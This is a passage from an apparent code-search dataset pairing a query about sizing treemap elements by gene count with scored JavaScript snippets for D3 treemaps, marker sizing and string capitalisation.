"score": "0.66413444", "text": "function capitalize(str){\r\n\treturn str[0].toUpperCase() + str.slice(1);\r\n}", "title": "" }, { "docid": "0753f4573ba45f7e2a2db52246443262", "score": "0.66372466", "text": "function CapitalizeFirstLetterOfString( str)\n{\nreturn str[0].toString().toUpper();\n\n}", "title": "" }, { "docid": "c803cbf5c50b41dba7fdc6072f42a1d9", "score": "0.6630698", "text": "function capitalizeFirstChar(string){\n return string.charAt(0).toUpperCase() + string.slice(1);\n}", "title": "" } ]
5b25868ff28cda348f41f7d79efc0ee0
Change the size of element of the treemap to correspond to the number of genes
[ { "docid": "bee7541d76e664409093537a890c7e72", "score": "0.5355052", "text": "function sumbyCount(d) {\n\t\troot.values.forEach(function(element){\n\t\t element.value = element.nb_gene;\n\t\t element.values.forEach(function(element2){\n\t\t\telement2.value = element2.nb_gene;\n\t\t });\n\t\t});\n\t\tlayout(root);\n\t\ttransition(active_node);\n\t }", "title": "" } ]
[ { "docid": "95bea56c2f0413b5cb0f679bc792a897", "score": "0.6474445", "text": "function zoomTreemap() {\n var current = currentDataStructured.children[0].children.sort(function (a, b) {\n return b.value - a.value;\n });\n\n if (current.length > 10) {\n current.splice(0, 10);\n root = d3.hierarchy(currentDataStructured).sum(function (d) {\n return d.value;\n }).sort(function (a, b) {\n return b.value - a.value;\n });\n draw();\n }\n }", "title": "" }, { "docid": "dc974fcf42fff027f7541f2537754415", "score": "0.628284", "text": "function mapsize(newSize)\n{\n\tmapSize=newSize;\n\tbuildMap();\n\treturn false;\n}", "title": "" }, { "docid": "26c311bc5886d7b71cbf15abad684fb6", "score": "0.5829307", "text": "function setSizes(){\n var N = [],\n\tadj = [],\n\tdistance = 0;\n d3.selectAll(\"g[open=true]\").each(function(d,i, nodes){\n\tN.push(parseInt(nodes[i].id.slice(5)));\n });\n N.forEach(e => d3.select(\"#group\"+e).property(\"scale\", size/(7)));\n while(N.length != data.length){\n\tdistance++;\n\tfor(var i=0;i<N.length;i++){\n\t d3.select(\"#group\"+N[i]).each(function(d) {\n\t\tadj = adj.concat([...d.adjacent].filter(x => !N.includes(x)));\n\t });\n\t}\n\tN = N.concat(adj);\n\tadj.forEach(e => d3.select(\"#group\"+e).property(\"scale\", size/(7+(5*distance))));\n\tadj=[];\n }\n}", "title": "" }, { "docid": "1b835b88dacda1d405340358acf8f95e", "score": "0.5814445", "text": "OnNodeSizeUniform() {}", "title": "" }, { "docid": "eeb2eead449c5a7578103501f365fae6", "score": "0.5814228", "text": "get size () { return this.vertexMap.size }", "title": "" }, { "docid": "da219fb60ae6d81d131ba45a6e26999c", "score": "0.57795185", "text": "setSize () {\n let count = this.root ? 1 : 0\n let node = this.head\n\n while (node !== this.root) {\n count += 1\n node = node.parent\n }\n\n this.size = count\n }", "title": "" }, { "docid": "da219fb60ae6d81d131ba45a6e26999c", "score": "0.57795185", "text": "setSize () {\n let count = this.root ? 1 : 0\n let node = this.head\n\n while (node !== this.root) {\n count += 1\n node = node.parent\n }\n\n this.size = count\n }", "title": "" }, { "docid": "99d839a4160a6aba1af1c65b71a61834", "score": "0.5777134", "text": "function pickLeafSize(){\n\t \tvar number = Math.floor(Math.random() * (5 - 1)) + 1;\n\t \tif (number == 1){\n\t \t\treturn [\"20px\", \"25px\"];\n\t \t}\n\t \telse if (number == 2){\n\t \t\treturn [\"32px\", \"40px\"];\n\t \t}\n\t \telse if (number == 3){\n\t \t\treturn [\"44px\", \"55px\"];\n\t \t}\n\t \telse if (number == 4){\n\t \t\treturn [\"56px\", \"70px\"];\n\t \t}\n\n\t }", "title": "" }, { "docid": "8c01a29b9bd10ca7c82431121c4ba84c", "score": "0.5750095", "text": "adjustTowerAnnotationSizes() {\n const fragmentWidths = this.data.sizes.fragments.widths;\n Object.values(this.data.towers).map(tower => {\n let maxWidth = 0;\n tower.map(fragment => maxWidth = Math.max(maxWidth, fragmentWidths[fragment.glyphedLabelText]));\n tower.map(fragment => fragment.width = maxWidth);\n });\n }", "title": "" }, { "docid": "85c5d6b8165cadfc3c172d50344593c4", "score": "0.56999815", "text": "reduceWidth() {\n // Don't get shorter than 16 across\n if (this._tiles[0].length <= 16) { return; }\n\n this._width--;\n\n // Remove from array\n for (var y = 0; y < this._height; y++) {\n this._tiles[y].length = (this._tiles[y].length - 1);\n }\n\n this.redrawMap();\n }", "title": "" }, { "docid": "fc133fcba9b76131eddc7e91d5509042", "score": "0.5690132", "text": "function scaleItems() {\n if (rescale) {\n d3.select('g.tree-node').selectAll('tmp')\n .data(items).enter()\n .append('text')\n .text(function (d) {\n return d;\n })\n .style(style.text)\n .attr('x', -1000)\n .attr('y', -1000)\n .attr('class', 'tmp');\n var z = d3.selectAll('.tmp')[0]\n .map(function (x) {\n return x.getBBox();\n });\n width = d3.max(z.map(function (x) {\n return x.width;\n }));\n margin = margin * width;\n width = width + 2 * margin;\n height = d3.max(z.map(function (x) {\n return x.height + margin / 2;\n }));\n // cleanup\n d3.selectAll('.tmp').remove();\n rescale = false;\n }\n }", "title": "" }, { "docid": "7c1b81cb1dcea29974eea2ce3be153a2", "score": "0.56763464", "text": "function markerSize(population) {\n return population / 40;\n }", "title": "" }, { "docid": "45b148e2d35b15bf4f2aca6fa911484d", "score": "0.5673204", "text": "function markerSize(population) {\n return population / 40;\n}", "title": "" }, { "docid": "45b148e2d35b15bf4f2aca6fa911484d", "score": "0.5673204", "text": "function markerSize(population) {\n return population / 40;\n}", "title": "" }, { "docid": "370ec67fbefe8770c3a4469aa2758e4e", "score": "0.566983", "text": "function treemap() {\n var layout = hierarchy(),\n round = Number,\n size = [1, 1], // width, height\n padding = null,\n pad = padNone,\n sticky = false,\n stickies,\n mode = \"squarify\",\n ratio = phi;\n\n function padFunction(node) {\n var p = padding.call(treemap, node, node.depth);\n return p == null\n ? padNone(node)\n : padStandard(node, typeof p === \"number\" ? [p, p, p, p] : p);\n }\n\n function padConstant(node) {\n return padStandard(node, padding);\n }\n\n // Compute the area for each child based on value & scale.\n function scale(children, k) {\n var i = -1,\n n = children.length,\n child,\n area;\n while (++i < n) {\n area = (child = children[i]).value * (k < 0 ? 0 : k);\n child.area = isNaN(area) || area <= 0 ? 0 : area;\n }\n }\n\n // Recursively arranges the specified node's children into squarified rows.\n function squarify(node) {\n var children = node.children;\n if (children && children.length) {\n var rect = pad(node),\n row = [],\n remaining = children.slice(), // copy-on-write\n child,\n best = Infinity, // the best row score so far\n score, // the current row score\n u = mode === \"slice\" ? rect.dx\n : mode === \"dice\" ? rect.dy\n : mode === \"slice-dice\" ? node.depth & 1 ? rect.dy : rect.dx\n : Math.min(rect.dx, rect.dy), // initial orientation\n n;\n scale(remaining, rect.dx * rect.dy / node.value);\n row.area = 0;\n while ((n = remaining.length) > 0) {\n row.push(child = remaining[n - 1]);\n row.area += child.area;\n if (mode !== \"squarify\" || (score = worst(row, u)) <= best) { // continue with this orientation\n remaining.pop();\n best = score;\n } else { // abort, and try a different orientation\n row.area -= row.pop().area;\n position(row, u, rect, false);\n u = Math.min(rect.dx, rect.dy);\n row.length = row.area = 0;\n best = Infinity;\n }\n }\n if (row.length) {\n position(row, u, rect, true);\n row.length = row.area = 0;\n }\n children.forEach(squarify);\n }\n }\n\n // Recursively resizes the specified node's children into existing rows.\n // Preserves the existing layout!\n function stickify(node) {\n var children = node.children;\n if (children && children.length) {\n var rect = pad(node),\n remaining = children.slice(), // copy-on-write\n child,\n row = [];\n scale(remaining, rect.dx * rect.dy / node.value);\n row.area = 0;\n while (child = remaining.pop()) {\n row.push(child);\n row.area += child.area;\n if (child.z != null) {\n position(row, child.z ? rect.dx : rect.dy, rect, !remaining.length);\n row.length = row.area = 0;\n }\n }\n children.forEach(stickify);\n }\n }\n\n // Computes the score for the specified row, as the worst aspect ratio.\n function worst(row, u) {\n var s = row.area,\n r,\n rmax = 0,\n rmin = Infinity,\n i = -1,\n n = row.length;\n while (++i < n) {\n if (!(r = row[i].area)) continue;\n if (r < rmin) rmin = r;\n if (r > rmax) rmax = r;\n }\n s *= s;\n u *= u;\n return s\n ? Math.max((u * rmax * ratio) / s, s / (u * rmin * ratio))\n : Infinity;\n }\n\n // Positions the specified row of nodes. Modifies `rect`.\n function position(row, u, rect, flush) {\n var i = -1,\n n = row.length,\n x = rect.x,\n y = rect.y,\n v = u ? round(row.area / u) : 0,\n o;\n if (u == rect.dx) { // horizontal subdivision\n if (flush || v > rect.dy) v = rect.dy; // over+underflow\n while (++i < n) {\n o = row[i];\n o.x = x;\n o.y = y;\n o.dy = v;\n x += o.dx = Math.min(rect.x + rect.dx - x, v ? round(o.area / v) : 0);\n }\n o.z = true;\n o.dx += rect.x + rect.dx - x; // rounding error\n rect.y += v;\n rect.dy -= v;\n } else { // vertical subdivision\n if (flush || v > rect.dx) v = rect.dx; // over+underflow\n while (++i < n) {\n o = row[i];\n o.x = x;\n o.y = y;\n o.dx = v;\n y += o.dy = Math.min(rect.y + rect.dy - y, v ? round(o.area / v) : 0);\n }\n o.z = false;\n o.dy += rect.y + rect.dy - y; // rounding error\n rect.x += v;\n rect.dx -= v;\n }\n }\n\n function treemap(d) {\n var nodes = stickies || layout(d),\n root = nodes[0];\n root.x = 0;\n root.y = 0;\n root.dx = size[0];\n root.dy = size[1];\n if (stickies) layout.revalue(root);\n scale([root], root.dx * root.dy / root.value);\n (stickies ? stickify : squarify)(root);\n if (sticky) stickies = nodes;\n return nodes;\n }\n\n treemap.size = function(x) {\n if (!arguments.length) return size.slice();\n size = [+x[0], +x[1]];\n return treemap;\n };\n\n treemap.padding = function(x) {\n if (!arguments.length) return Array.isArray(padding) ? padding.slice() : padding;\n var t;\n pad = x == null ? (padding = null, padNone)\n : (t = typeof x) === \"function\" ? (padding = x, padFunction)\n : t === \"number\" ? (padding = [x, x, x, x], padConstant)\n : (padding = [+x[0], +x[1], +x[2], +x[3]], padConstant);\n return treemap;\n };\n\n treemap.round = function(x) {\n if (!arguments.length) return round !== Number;\n round = x ? Math.round : Number;\n return treemap;\n };\n\n treemap.sticky = function(x) {\n if (!arguments.length) return sticky;\n sticky = !!x, stickies = null;\n return treemap;\n };\n\n treemap.ratio = function(x) {\n if (!arguments.length) return ratio;\n ratio = +x;\n return treemap;\n };\n\n treemap.mode = function(x) {\n if (!arguments.length) return mode;\n mode = modes.hasOwnProperty(x) ? x + \"\" : \"squarify\";\n return treemap;\n };\n\n return rebind(treemap, layout);\n}", "title": "" }, { "docid": "1c2afc0f4a892f4b19432aca3ba7ba94", "score": "0.5591479", "text": "function getFamilySizeMap(data) {\n // make a family size map\n var family_sizes = {};\n for (var i = 0; i < data.groups.length; i++) {\n \tfor (var j = 0; j < data.groups[i].genes.length; j++) {\n \t var family = data.groups[i].genes[j].family;\n \t if (family in family_sizes) {\n \t \tfamily_sizes[family] += 1;\n \t } else {\n \t \tfamily_sizes[family] = 1;\n \t }\n \t}\n }\n return family_sizes;\n}", "title": "" }, { "docid": "7cafe3a078692c9f477389c604b6e231", "score": "0.5580703", "text": "function mapping(sicherheitstypen){\n\n var sicherheitstypMap = new Map;\n\n for(i = 0; i < sicherheitstypen.length; i++){\n for(j=0; j < sicherheitstypen[i].produkte_id.length;j++){\n if(produkteMap.has(sicherheitstypen[i].produkte_id[j])){\n if(sicherheitstypMap.has(sicherheitstypen[i].titel)){\n //ist der Sicherheitstyp schon in der Map vorhanden, wird aktueller Stand um 1 erhöht\n sicherheitstypMap.set(sicherheitstypen[i].titel, sicherheitstypMap.get(sicherheitstypen[i].titel)+1)\n } else {\n sicherheitstypMap.set(sicherheitstypen[i].titel, 1);\n }\n }\n }\n }\n //sicherheitstyp mit den meisten Produkten, wird der Variablen zugewiesen\n var count1 = 0;\n sicherheitstypMap.forEach(function (value, key) {\n var count2 = sicherheitstypMap.get(key)\n if(count1 < count2){\n count1 = count2;\n sicherheitstyp = key;\n //document.getElementById(\"sicherheitstyp\").textContent=\"Du gehörst zum Sicherheitstyp: \" + sicherheitstyp;\n }\n });\n loadProducts();\n\n}", "title": "" }, { "docid": "575f0f68521be308586f70c1dfe1fa7c", "score": "0.5573856", "text": "get size() {\n\t\treturn this._setMap.size\n\t}", "title": "" }, { "docid": "13da764583b2927aae7b1d0e7f4fecfe", "score": "0.55626136", "text": "function growTrees (){\n IncreasePearHeight()\n IncreaseOakHeight()\n IncreasePearBranches()\n IncreaseOakBranches()\n}", "title": "" }, { "docid": "be7ebdccdd568217f693785a7e1eb33b", "score": "0.5560895", "text": "function setTileSize() {\n var header = document.getElementById('mainHeader');\n var navbar = header.getElementsByClassName('navbar')[0];\n var headerHeight = navbar.clientHeight;\n\n var w = window.innerWidth;\n var h = window.innerHeight - headerHeight * 4;\n\n // width - borders - small margin / level width\n var tileW = Math.floor( (w - 2 * 2 - 2) / level.width );\n // height - arrow buttons - padding from #pb\n var tileH = Math.floor( (h - arrowBtnSize * 3 - 6) / level.height );\n\n if (tileW < tileH) {tileSize = tileW}\n else {tileSize = tileH}\n if (tileSize > 60) {tileSize = 60}\n char.size = tileSize * 0.8;\n}", "title": "" }, { "docid": "4625c661c2a0ec5a839b820f6961ad11", "score": "0.5542373", "text": "updateSuperpixelSize(size) {\n this.props.clearSelectedTiles();\n }", "title": "" }, { "docid": "8e5960985fc039f900e83d05c8566605", "score": "0.5534575", "text": "function block_lemo4moodle_drawTreemap() {\n\n var data = new google.visualization.arrayToDataTable(treemapData);\n\n var tree = new google.visualization.TreeMap(document.getElementById('treemap'));\n\n tree.draw(data, {\n minColor: '#f00',\n midColor: '#ddd',\n maxColor: '#0d0',\n headerHeight: 15,\n fontColor: 'black',\n showScale: true,\n highlightOnMouseOver: true,\n title: treemapTitle,\n generateTooltip: block_lemo4moodle_showTooltipTreemap\n });\n\n /**\n * Function to generate a tooltip for the treemap.\n * For further documentation see google charts documentation for treemap.\n *\n * @method block_lemo4moodle_shwoTootltipTreemap\n * @param int $row\n * @param int $size\n * @param int $value\n * @return string\n */\n function block_lemo4moodle_showTooltipTreemap(row, size, value) {\n return '<div style=\"background:#fd9; padding:10px; border-style:solid\">' +\n data.getValue(row, 0) + '<br>' + treemapClickCount + size + ' </div>';\n }\n}", "title": "" }, { "docid": "1bd7da86e9888cbac53cf23353abbb24", "score": "0.55058306", "text": "function resizeMarkers(e) {\n for (var fname in _phyMarkers) {\n if (_phyMarkers.hasOwnProperty(fname)) {\n //safari bug?\n var feature = typeof _phyMarkers[fname].feature == \"undefined\" ? _phyMarkers[fname] : _phyMarkers[fname].feature;\n delete feature.properties._icon; // needs to recreate it with proper size\n feature.properties._layer.update(feature);\n }\n }\n }", "title": "" }, { "docid": "133468cef0e9b4756121b513a3062af8", "score": "0.5497429", "text": "get size() {\n return this.map.size;\n }", "title": "" }, { "docid": "585c4add97566cd72adfac631f33bd89", "score": "0.5494681", "text": "function af() {\n var h = window.innerHeight;\n function zff() {\n\n\n var width =( h * 180) / 1080, height = ( h * 270) / 1080;\n var svg = d3.select(\"#zf\").append(\"svg\")\n .attr(\"width\", width)\n .attr(\"height\", height);\n var treemap = d3.layout.treemap()\n .size([width, height])\n .value(function(d){ return d.value; });\n treemap.mode('squarify');\n var root = {\n \"name\": \"蓝天\",\n \"children\":\n [\n {\n \"name\": \"淡蓝\",\n \"children\":\n [\n {\"name\":\"淡蓝\", \"value\":12}\n ]\n },\n {\n \"name\": \"雾霾\",\n \"children\":\n [\n {\"name\":\"雾霾\", \"value\":8}\n\n ]\n },\n {\n \"name\": \"蔚蓝\",\n \"children\":\n [\n {\"name\":\"蔚蓝\", \"value\":7}\n ]\n },\n {\n \"name\": \"阴沉\",\n \"children\":\n [\n {\"name\":\"阴沉\", \"value\":3}\n ]\n }\n ]\n }\n var nodes = treemap.nodes(root);\n var links = treemap.links(nodes);\n var color = function (value) {\n var c = {\n '淡蓝':'#2fa2ca',\n '阴沉':'#e7ab29',\n '蔚蓝':'#2375b4',\n '雾霾':'#9d5e24',\n }\n return c[value]\n };\n var groups = svg.selectAll(\"g\")\n .data(nodes.filter(function(d){ return !d.children; }))\n .enter()\n .append(\"g\");\n\n var rects = groups.append(\"rect\")\n .attr(\"class\",\"nodeRect\")\n .attr(\"x\",function(d){ return d.x; })\n .attr(\"y\",function(d){ return d.y; })\n .attr(\"width\",function(d){ return d.dx; })\n .attr(\"height\",function(d){ return d.dy; })\n .style(\"fill\",function(d,i){ return color(d.parent.name); });\n\n var texts = groups.append(\"text\")\n .attr(\"class\",\"nodeName\")\n .attr(\"x\",function(d){ return d.x; })\n .attr(\"y\",function(d){ return d.y; })\n .attr(\"dx\",\"0.5em\")\n .attr(\"dy\",\"1.5em\")\n .attr(\"font-family\",\"微软雅黑\")\n .text(function(d){\n return d.name + \" \" + d.value;\n });\n }\n zff();\n function circle( width, height, id, num, showNum) {\n var width = width || 500;\t//SVG绘制区域的宽度\n var height = height || 500;\t//SVG绘制区域的高度\n\n var svg = d3.select(id)\t\t\t//选择<body>\n .append(\"svg\")\t\t\t//在<body>中添加<svg>\n .attr(\"width\", width)\t//设定<svg>的宽度属性\n .attr(\"height\", height);//设定<svg>的高度属性\n\n var num = num || 36;\n var _num = (2/num).toFixed(8),\n _interval = _num * 0.8,\n dataset = [];\n for(var i = 0 ; i<num;i++){\n var dataNull = {};\n dataNull.endAngle = (Math.PI *(i + 1 ) * _num)-_interval;\n dataNull.startAngle = Math.PI * i * _num;\n dataset.push(dataNull);\n }\n //创建一个弧生成器\n var arcPath = d3.svg.arc()\n .innerRadius(width*0.4)\n .outerRadius(width*0.5);\n var showNum = showNum || 18;\n var bf = Math.ceil((Number(showNum) / Number(num)) * 100).toString() + '%';\n var bigRadiuds = [\n { startAngle : 0 ,endAngle : Math.PI * 0.57},\n { startAngle : Math.PI * 0.67 ,endAngle : Math.PI * 1.24},\n { startAngle : Math.PI * 1.34 ,endAngle : Math.PI * 1.91}\n ];\n var bigPath = d3.svg.arc()\n .innerRadius(width * 0.375)\n .outerRadius(width * 0.385);\n var sRadiuds = { startAngle : 0 ,endAngle : Math.PI * 2};\n var sPath = d3.svg.arc()\n .innerRadius(width * 0.381)\n .outerRadius(width * 0.385);\n //添加路径\n svg.selectAll(\"path\")\n .data(dataset)\n .enter()\n .append(\"path\")\n .attr(\"d\",function(d){ return arcPath(d); })\n .attr(\"transform\",\"translate(\"+ width /2 + \",\" + height /2 +\")\")\n .attr(\"font-family\",\"微软雅黑\")\n .attr(\"fill\",function (ddd,i) {\n if(i<=showNum){\n return \"#2278be\"\n }else{\n return \"#ffffff\"\n }\n })\n ;\n svg.append(\"path\")\n .data(bigRadiuds)\n .attr(\"d\", bigPath(bigRadiuds[0]))\n .attr(\"transform\",\"translate(\"+ width /2 + \",\" + height /2 +\")\")\n .attr(\"fill\",\"red\");\n svg.append(\"path\")\n .data(bigRadiuds)\n .attr(\"d\", bigPath(bigRadiuds[1]))\n .attr(\"transform\",\"translate(\"+ width /2 + \",\" + height /2 +\")\")\n .attr(\"fill\",\"red\");\n svg.append(\"path\")\n .data(bigRadiuds)\n .attr(\"d\", bigPath(bigRadiuds[2]))\n .attr(\"transform\",\"translate(\"+ width /2 + \",\" + height /2 +\")\")\n .attr(\"fill\",\"red\");\n\n svg.append(\"path\")\n .attr(\"d\", sPath(sRadiuds))\n .attr(\"transform\",\"translate(\"+ width /2 + \",\" + height /2 +\")\")\n .attr(\"fill\",\"red\");\n svg.selectAll(\"text\")\n .data(dataset)\n .enter()\n .append(\"text\")\n .attr(\"transform\",\"translate(\"+ width /2 + \",\" + height*.6 +\")\")\n .attr(\"text-anchor\",\"middle\")\n .attr(\"font-size\",width*0.35 + 'px')\n .attr(\"fill\",\"#fff\")\n .text(bf)\n // var linek = [[75,75],[75,85],[85,85],[85,75]];\n // var linePathk = d3.svg.line();\n // svg.append(\"path\")\n // .attr(\"d\", linePathk(linek))\n // .attr(\"stroke\",\"red\")\n // .attr(\"stroke-width\",\"3px\")\n // .attr(\"fill\",\"red\");\n // var lines = [[80,80],[100,100],[150,100]];\n // var linePath = d3.svg.line();\n // svg.append(\"path\")\n // .attr(\"d\", linePath(lines))\n // .attr(\"stroke\",\"red\")\n // .attr(\"stroke-width\",\"3px\")\n // .attr(\"fill\",\"none\");\n }\n var cw = Math.trunc(h/8.5);\n new circle(cw, cw, '#y',30,8);\n new circle(cw, cw, '#f',30,12);\n\n function line() {\n var p = h / 14.1;\n console.log(h);\n var svg = d3.select('#fj')\n .append(\"svg\")\t\t\t//在<body>中添加<svg>\n .attr(\"width\", h / 3)\t//设定<svg>的宽度属性\n .attr(\"height\", h / 3);//设定<svg>的高度属性\n var linek = [[2.2 * p,1.2 * p],[2.2 * p,1.3* p],[2.3* p,1.3* p],[2.3* p,1.2* p]];\n var linePathk = d3.svg.line();\n svg.append(\"path\")\n .attr(\"d\", linePathk(linek))\n .attr(\"stroke\",\"#80cde6\")\n .attr(\"stroke-width\",\"3px\")\n .attr(\"fill\",\"#80cde6\");\n var lines = [[2.25* p,1.25* p],[3.1* p,1.25* p],[3.7* p,p]];\n var linePath = d3.svg.line();\n svg.append(\"path\")\n .attr(\"d\", linePath(lines))\n .attr(\"stroke\",\"#80cde6\")\n .attr(\"stroke-width\",\"1px\")\n .attr(\"fill\",\"none\");\n\n\n var linek1 = [[2.2* p,3.2* p],[2.2* p,3.3* p],[2.3* p,3.3* p],[2.3* p,3.2* p]];\n var linePathk1 = d3.svg.line();\n svg.append(\"path\")\n .attr(\"d\", linePathk1(linek1))\n .attr(\"stroke\",\"#80cde6\")\n .attr(\"stroke-width\",\"3px\")\n .attr(\"fill\",\"#80cde6\");\n var lines1 = [[2.25* p,3.25* p],[3.1* p,3.25*p],[3.7* p,3*p]];\n var linePath1 = d3.svg.line();\n svg.append(\"path\")\n .attr(\"d\", linePath1(lines1))\n .attr(\"stroke\",\"#80cde6\")\n .attr(\"stroke-width\",\"1px\")\n .attr(\"fill\",\"none\");\n svg.append(\"text\")\n .attr(\"font-size\",0.18* p)\n .attr(\"fill\",\"#ccc\")\n .attr(\"transform\",\"translate(\"+2.9* p+\",\"+ 4.25* p+\")\")\n .attr(\"font-family\",\"微软雅黑\")\n .text(\"单位:天\")\n svg.append(\"text\")\n .attr(\"font-size\",0.32* p)\n .attr(\"fill\",\"#005c5c\")\n .attr(\"font-weight\",\"bold\")\n .attr(\"font-family\",\"微软雅黑\")\n .attr(\"transform\",\"translate(\"+0.9* p+\",\"+ 0.55* p+\")\")\n .text(\"北京9月蓝天数及占比\")\n }\n line()\n\n\n\n\n}", "title": "" }, { "docid": "c5b12ef28e0554c6eee91a6a942d3680", "score": "0.5483493", "text": "OnNodeSizePoints() {}", "title": "" }, { "docid": "463e1a0987a8ca26772e1889c3cc4a75", "score": "0.5482678", "text": "expandWidth() {\n this._width++;\n\n // Add to array\n for (var y = 0; y < this._height; y++) {\n this._tiles[y].push({ sprite: null, name: \"G\" });\n }\n\n this.redrawMap(true, false);\n }", "title": "" }, { "docid": "6ec4d76967e7f9032559280723064f50", "score": "0.54786915", "text": "function updateSizes(node, i) {\r\n var sizes = node.sizes, children = node.children;\r\n var last = i > 0 ? sizes[i - 1] : 0;\r\n for (var n = children.length; i < n; ++i) {\r\n last = sizes[i] = last + children[i].size;\r\n }\r\n sizes.length = children.length;\r\n }", "title": "" }, { "docid": "b2df18d99796400606fc5b56b8fd6e07", "score": "0.54634285", "text": "get nodeSize() { return this.type.isLeaf ? 1 : 2 + this.content.size }", "title": "" }, { "docid": "f7e0144ef4caf5375cfa9bc88d26b7d6", "score": "0.5461975", "text": "function updateSizes(node, i) {\n var sizes = node.sizes, children = node.children;\n var last = i > 0 ? sizes[i - 1] : 0;\n for (var n = children.length; i < n; ++i) {\n last = sizes[i] = last + children[i].size;\n }\n sizes.length = children.length;\n }", "title": "" }, { "docid": "807af1c82ed3781bf3be69a63edc3ca0", "score": "0.5456132", "text": "function markerSize(UVvalue) {\n return UVvalue*30000;\n}", "title": "" }, { "docid": "192428f91a7f27dbf12574ade96d7c2e", "score": "0.54475147", "text": "function Treemap(data, parent, dimensions) {\n\t\n\tvar data = jQuery.extend(true, {}, data);\n\tvar parent = parent;\n\tvar width = dimensions.width;\n\tvar height = dimensions.height;\n\tvar x = d3.scale.linear().domain([0, width]).range([0, width]);\n var y = d3.scale.linear().domain([0, height]).range([0, height]);\n\tvar transitionComplete = true;\n\tvar d3treemap = null;\n\tvar maxDepth = 0, bugsLeft = 0, firstSplitDepth = 0;\n\n\ttreemap.draw = function(drawArgs) {\n\t\t\n\t\t// drawArgs.metric, drawArgs.grouping, drawArgs.valueFunc, drawArgs.nameFunc are required. \n\t\tvar sticky = typeof drawArgs.sticky !== 'undefined' ? drawArgs.sticky : false;\n\t\tvar truncateDepth = typeof drawArgs.truncateDepth !== 'undefined' ? drawArgs.truncateDepth : null;\n\t\tvar bugInfo = typeof drawArgs.bugInfo !== 'undefined' ? drawArgs.bugInfo : null;\n\t\t\n\t\ttreemap(drawArgs.metric, drawArgs.grouping, drawArgs.valueFunc, drawArgs.nameFunc, drawArgs.sticky, truncateDepth, bugInfo);\n\t\t\n\t\treturn treemap;\n\t}\n\t\n\tfunction treemap(metric, grouping, valueFunc, nameFunc, sticky, truncateDepth, bugInfo) { \n\t\n\t\tgo(); // begin draw\n\t\tvar root;\n\t\t\n\t\tfunction go() {\n\t\t\n\t\t\texamine(data, 0, bugInfo);\n\t\t\tfirstSplitDepth = findFirstSplit(data, 0);\n\t\t\n\t\t\tif(bugsLeft === 0 && metric === \"bugcount\") {\n\t\t\t\t$(parent).text(\"No bugs in time range.\");\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t\n\t\t\tif(truncateDepth != null) truncateTree(data, 0, truncateDepth);\n\t\t\n\t\t\td3treemap = d3.layout.treemap().round(false).value(valueFunc).size([width, height]).sticky(sticky);\n\t\t\troot = d3.select(parent).append(\"block\").attr(\"width\", width).attr(\"height\", height);\n\n\t\t\tinitialize(data);\n\t\t\td3treemap.nodes(data);\n\t\t\tdisplay(data);\n\t\t}\n\n\t\tfunction initialize(d) {\n\t\t\td.x = d.y = 0;\n\t\t\td.dx = width;\n\t\t\td.dy = height;\n\t\t\td.depth = 0;\n\t\t}\n\t\t\n\t\tfunction display(d) {\n\t\t\tvar g1 = root.insert(\"block\");\n\t\t\t\n\t\t\tvar colorInfo = {\n\t\t\t\tlowerHue: 0,\n\t\t\t\tupperHue: 360,\n\t\t\t\tvalue: 100,\n\t\t\t\tsaturation: 100\n\t\t\t}\n\t\t\t\n\t\t\trecursiveDisplay(g1, d, 0, colorInfo);\n\t\t}\n\n\t\t// A recursive display algorithm isn't nessecary to draw all the nodes\n\t\t// on the screen: we could just append the nodes into a div list. However, to acheive\n\t\t// spectrum/depth coloring we go recursively. \n\t\tfunction recursiveDisplay(g1, d, depth, colorInfo) {\n\n\t\t\t// For each child of the root, append a \"g\" and associate a single child with that \"g\".\n\t\t\tvar g = g1.selectAll(\"block\")\n\t\t\t\t.data(d.children)\n\t\t\t\t.enter().append(\"block\");\n\n\t\t\t// Add rects for children at this depth, but only if there are no children beneath. \n\t\t\tg.selectAll(\"block\")\n\t\t\t\t.data(function (d, depth) {\n\t\t\t\t\tif (d.children) return [];\n\t\t\t\t\telse return [d];\n\t\t\t\t})\n\t\t\t\t.enter().append(\"block\")\n\t\t\t\t.classed(\"cell\", true)\n\t\t\t\t.attr(\"id\", function (d) { \n\t\t\t\treturn d.fullname + \".\" + parent; \n\t\t\t\t})\n\t\t\t\t.call(cell)\n\t\t\t\t.style(\"background\", hsvToRgb(colorInfo.lowerHue, colorInfo.saturation, colorInfo.value))\n\t\t\t\t.text(function(d) { return d.children ? null : truncateText(d, width, height) });\n\n\t\t\t\n\t\t\tvar cwc = 0;\n\t\t\tvar count = 0;\n\t\t\tvar numChildren = d.children.length;\n\t\t\td.children.forEach(function (c) {\n\t\t\t\tif (c.hasOwnProperty(\"children\") && c.area > 0) cwc++;\n\t\t\t});\n\t\t\t\n\t\t\t// Coloring algorithm -\n\t\t\t// At each split divide the available hue spectrum into increments, but leave buffer space\n\t\t\t// so different groups aren't too similar in color. Reduce saturation and value going down the tree.\n\t\t\t//\n\t\t\t// Increase rainbowVariation to decrease range of available color. Needs to be at least 1. \n\t\t\t\n\t\t\tvar rainbowVariation = 2;\n\t\t\tvar increment = (colorInfo.upperHue - colorInfo.lowerHue) / (cwc + rainbowVariation);\n\t\t\tvar buffer = increment/cwc;\n\t\t\t\n\t\t\tg1.selectAll(\"block\").each(function (d) {\n\t\t\t\tif (d.children) {\n\t\t\t\t\tif (cwc > 1) {\n\t\t\t\t\t\n\t\t\t\t\t\tvar newColorInfo = {};\n\t\t\t\t\t\tnewColorInfo.lowerHue = colorInfo.lowerHue + (increment + buffer) * count;\n\t\t\t\t\t\tnewColorInfo.upperHue = colorInfo.lowerHue + increment * (count + 1) + buffer * count;\n\t\t\t\t\t\t\n\t\t\t\t\t\tif(numChildren > (cwc*2)/3) { // Don't reduce color if no files at this level.\n\t\t\t\t\t\t\tvar val = 35 / ((maxDepth-firstSplitDepth));\n\t\t\t\t\t\t\tvar sat = 100 / ((maxDepth-firstSplitDepth));\n\t\t\t\t\t\t\tnewColorInfo.value = colorInfo.value - val;\n\t\t\t\t\t\t newColorInfo.saturation = colorInfo.saturation - sat;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\tcount++;\n\t\t\t\t\t\trecursiveDisplay(d3.select(this), d, depth+1, newColorInfo);\n\t\t\t\t\t\t\n\t\t\t\t\t} else {\n\t\t\t\t\t\trecursiveDisplay(d3.select(this), d, depth+1, colorInfo);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t\n\t}\n\t\n\ttreemap.clear = function() {\n\t\t$(parent).empty();\n\t\treturn 